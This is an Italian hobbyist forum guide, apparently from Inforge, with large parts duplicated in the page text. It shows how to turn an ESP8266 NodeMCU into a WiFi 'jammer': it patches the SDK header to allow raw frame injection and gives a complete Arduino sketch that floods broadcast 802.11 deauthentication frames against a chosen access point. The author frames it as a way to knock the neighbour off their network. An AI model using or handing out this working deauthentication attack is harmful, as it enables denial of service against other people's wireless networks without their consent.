Ultima modifica:
E' da tanto che non pubblico una guida su inforge oggi ho deciso di scrivere questa guida per chi come me è ha unito la passione per l'hacking e l'elettronica.
Il modulo che ho usato io lo puoi trovare su amazon al costo di circa 8 euro.
AZDelivery NodeMCU esp8266 esp-12e WIFI Lolin Modulo V3
Getting Started - Driver, Arduino IDE
Come primo step devi installare i driver per la connessione seriale, scarica i driver da qui:
-------> Windows CH340 Driver
Ora scarichia e installa l'IDE di Arduino:
https://www.arduino.cc/en/Main/Software
Una volta completata l'installazione dell'ide apri il menu File > Impostazioni, Affianco alla voce "URL aggiuntive per il Gestore Schede" inseriamo l'url "http://arduino.esp8266.com/stable/package_esp8266com_index.json" senza apici, ora clicca Ok e vai dinuovo nel menu il Strumenti > Scheda: > Gestore Schede, nella nuova finestra cerchiamo "esp8266" e installiamo la versione 2.0.0
ATTENZIONE installando un versione diversa non sarà possibile inviare pacchetti Management , ma solo Data frame e Beacon Frame.
Completata l'installazione, vai nella cartella che contiene i file di arduino dal menu File > Impostazioni e clicca come da immagine
- Vai nella cartella packages > esp8266 > hardware > esp8266 > 2.0.0 > tools > sdk > include
- Apri il file user_interface.h con un editor di testo
- In fondo a tutto prima di #endif aggiungi queste righe:
Salva e chiudi.
Arduino IDE Code
Apri arduino IDE e setta la board e la porta COM, da Strumenti>Scheda: NodeMCU 1.0(ESP-12E Module) e Strumenti>Porta>COMx
Prima di divertirci e scollegare il vicino, bisogna impostare il bssid e il mac della vittima oppure usare il mac ff:ff:ff:ff:ff:ff cioè il destinatario del pacchetto di deautenticazione sarà Broadcast ovvero tutti i dispositivi assiociati a BSSID, il pacchetto da inviare è un array di uint8_t (Unsigned Int).
La struttura del frame:
uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};
1. Protocol Version (2-bits)
Questi bit vengono usati per indicare quale versione del protocollo 802.11 è utilizzato dal frame, Sempre settato su "0" perchè esiste una sola versione al momento.
2. Type (2-bits)
Ci sono 3 tipi di frame wireless standard (Management, Control, Data). Un frame di deautenticazione è di tipo Management.
00– Management Frame
01– Control Frame
10– Data Frame
11– Reserved
3. Subtype (4-bits)
Ci sono vari tipi di sottotipi di ogni tipo, 4 bit sono necessari per differenziarli.
4. To DS (1-bit)
Quando settato a 1 indica che i data frame partono dal client (STATION) al Distribution System (DS) cioè il router/modem
5. From DS (1-bit)
Quando settato a 1indica che i data frame vanno dal (DS) a (STA)
Tornando alla struttura fondamentale del nostro frame di deautenticazione settiamo il mac address di destinazione che come già detto può essere Broadcast(ff:ff:ff:ff:ff:ff) o il mac di un client,
uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};
Sotto i due mac uguali che sono dell'access point (router) nel tuo caso dovrai impostare quello del tuo router,
Importantissimo da settare è il canale che deve essere uguale a quello dell'access point, edita il codice e imposta il tuo canale (Ricorda i canali vanno da 1 a 13):
void setup() {
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
wifi_set_channel(10);
}
Infine il Reason Code ci indica la motivazione della deautenticazione, in questo caso impostato a 0x0007
Compila e carica lo sketch e goditi il tuo jammer.
Il modulo che ho usato io lo puoi trovare su amazon al costo di circa 8 euro.
AZDelivery NodeMCU esp8266 esp-12e WIFI Lolin Modulo V3
Getting Started - Driver, Arduino IDE
Come primo step devi installare i driver per la connessione seriale, scarica i driver da qui:
-------> Windows CH340 Driver
Ora scarichia e installa l'IDE di Arduino:
https://www.arduino.cc/en/Main/Software
Una volta completata l'installazione dell'ide apri il menu File > Impostazioni, Affianco alla voce "URL aggiuntive per il Gestore Schede" inseriamo l'url "http://arduino.esp8266.com/stable/package_esp8266com_index.json" senza apici, ora clicca Ok e vai dinuovo nel menu il Strumenti > Scheda: > Gestore Schede, nella nuova finestra cerchiamo "esp8266" e installiamo la versione 2.0.0
ATTENZIONE installando un versione diversa non sarà possibile inviare pacchetti Management , ma solo Data frame e Beacon Frame.
Completata l'installazione, vai nella cartella che contiene i file di arduino dal menu File > Impostazioni e clicca come da immagine
- Vai nella cartella packages > esp8266 > hardware > esp8266 > 2.0.0 > tools > sdk > include
- Apri il file user_interface.h con un editor di testo
- In fondo a tutto prima di #endif aggiungi queste righe:
C:
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
Salva e chiudi.
Arduino IDE Code
Apri arduino IDE e setta la board e la porta COM, da Strumenti>Scheda: NodeMCU 1.0(ESP-12E Module) e Strumenti>Porta>COMx
C++:
#include <ESP8266WiFi.h>
extern "C" {
#include "user_interface.h"
}
uint16_t seq = 0x00;
// Beacon Packet buffer
uint8_t packet[128] = { 0xc0, 0x00,
0x3a, 0x01,
/*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
/*10*/ 0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
/*16*/ 0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
/*22*/ 0x00, 0x00,
/*24*/ 0x07, 0x00
};
uint8_t packet2[128] = { 0xc0, 0x00,
0x00, 0x00,
/*4*/ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
/*10*/ 0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
/*16*/ 0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5,
/*22*/ 0x00, 0x00,
/*24*/ 0x07, 0x00
};
void setup() {
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
wifi_set_channel(10);
}
void loop() {
while(true){
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet2, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet2, 57, 0);
wifi_send_pkt_freedom(packet, 57, 0);
wifi_send_pkt_freedom(packet2, 57, 0);
delay(2);
}
}
Prima di divertirci e scollegare il vicino, bisogna impostare il bssid e il mac della vittima oppure usare il mac ff:ff:ff:ff:ff:ff cioè il destinatario del pacchetto di deautenticazione sarà Broadcast ovvero tutti i dispositivi assiociati a BSSID, il pacchetto da inviare è un array di uint8_t (Unsigned Int).
La struttura del frame:
uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};
1. Protocol Version (2-bits)
Questi bit vengono usati per indicare quale versione del protocollo 802.11 è utilizzato dal frame, Sempre settato su "0" perchè esiste una sola versione al momento.
2. Type (2-bits)
Ci sono 3 tipi di frame wireless standard (Management, Control, Data). Un frame di deautenticazione è di tipo Management.
00– Management Frame
01– Control Frame
10– Data Frame
11– Reserved
3. Subtype (4-bits)
Ci sono vari tipi di sottotipi di ogni tipo, 4 bit sono necessari per differenziarli.
4. To DS (1-bit)
Quando settato a 1 indica che i data frame partono dal client (STATION) al Distribution System (DS) cioè il router/modem
5. From DS (1-bit)
Quando settato a 1indica che i data frame vanno dal (DS) a (STA)
Tornando alla struttura fondamentale del nostro frame di deautenticazione settiamo il mac address di destinazione che come già detto può essere Broadcast(ff:ff:ff:ff:ff:ff) o il mac di un client,
uint8_t packet[128] = {
0xc0, 0x00, //Frame Control
0x3a, 0x01, //Duration
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, //Indirizzo Destinazione in questo caso 0xff, 0xff, 0xff, 0xff, 0xff, 0xff Broadcast
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //Indirizzo Sorgente (MAC ADDRESS del router ad esempio)
0x50, 0xc7, 0xbf, 0x5d, 0x7c, 0xa5, //BSSID Uguale a sopra
0x00, 0x00, //Sequence Control
0x07, 0x00 //Reason Code
};
Sotto i due mac uguali che sono dell'access point (router) nel tuo caso dovrai impostare quello del tuo router,
Importantissimo da settare è il canale che deve essere uguale a quello dell'access point, edita il codice e imposta il tuo canale (Ricorda i canali vanno da 1 a 13):
void setup() {
delay(500);
wifi_set_opmode(STATION_MODE);
wifi_promiscuous_enable(1);
wifi_set_channel(10);
}
Infine il Reason Code ci indica la motivazione della deautenticazione, in questo caso impostato a 0x0007
Compila e carica lo sketch e goditi il tuo jammer.